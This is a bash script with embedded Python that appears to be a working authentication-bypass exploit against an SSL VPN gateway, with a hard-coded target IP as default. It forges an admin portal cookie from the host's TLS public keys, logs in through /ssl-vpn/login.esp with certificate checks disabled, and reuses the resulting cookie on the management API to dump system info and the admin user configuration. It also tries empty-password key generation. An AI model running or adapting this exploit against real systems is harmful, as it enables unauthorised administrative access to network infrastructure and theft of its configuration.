#!/bin/bash
cd /root/recon
IP=${1:-38.99.5.129}
OUT2=$(/root/pt/bin/python3 - "$IP" <<'PY'
import re,sys
sys.path.insert(0,'/root/recon')
import forge_cookie as fc, urllib.parse, urllib.request, ssl
ctx=ssl.create_default_context(); ctx.check_hostname=False; ctx.verify_mode=ssl.CERT_NONE
ip=sys.argv[1]
certs=fc.get_all_public_keys(ip,443)
for c in certs[:3]:
    cand=fc.forge_cookie(c.public_key(),'admin',host_id='PC')
    b=urllib.parse.urlencode({'prot':'https','server':ip,'inputStr':'','jnlpReady':'jnlpReady','ok':'Login','direct':'yes','clientVer':'4100','user':'admin','passwd':'','context':'gateway','clientos':'Windows','clientgpversion':'6.0.0','host-id':'PC','computer':'PC','os-version':'Windows 10','portal-userauthcookie':cand,'portal-prelogonuserauthcookie':''}).encode()
    r=urllib.request.Request('https://%s/ssl-vpn/login.esp'%ip,data=b,method='POST')
    r.add_header('Content-Type','application/x-www-form-urlencoded')
    try: t=urllib.request.urlopen(r,context=ctx,timeout=20).read().decode()
    except Exception: continue
    a=re.findall(r'<argument>(.*?)</argument>',t,re.S)
    if len(a)>5: print('%s|%s'%(a[1],a[3])); break
PY
)
AC=${OUT2%%|*}; GW=${OUT2##*|}
echo "ip=$IP auth=${AC:0:8} gw=$GW"

echo "== 1) api op with PHPSESSID=authcookie"
timeout 20 curl -sk -m 15 -b "PHPSESSID=$AC" "https://$IP/api/?type=op&cmd=%3Cshow%3E%3Csystem%3E%3Cinfo%3E%3C/system%3E%3C/info%3E%3C/show%3E" | head -12
echo
echo "== 2) api version (no auth)"
timeout 20 curl -sk -m 15 "https://$IP/api/?type=version" | head -6
echo
echo "== 3) api keygen user=admin empty pass"
timeout 20 curl -sk -m 15 -d 'type=keygen&user=admin&password=' "https://$IP/api/" | head -6
echo
echo "== 4) api config set test with cookie (dummy, read-only op: show users)"
timeout 20 curl -sk -m 15 -b "PHPSESSID=$AC" "https://$IP/api/?type=config&action=show&xpath=/config/mgt-config/users" | head -12
echo
echo "== 5) web ui root with cookie"
timeout 20 curl -sk -m 15 -b "PHPSESSID=$AC" -o /tmp/wf.html -w '%{http_code} %{size_download}\n' "https://$IP/"
grep -oiE '<title>[^<]*' /tmp/wf.html | head -2
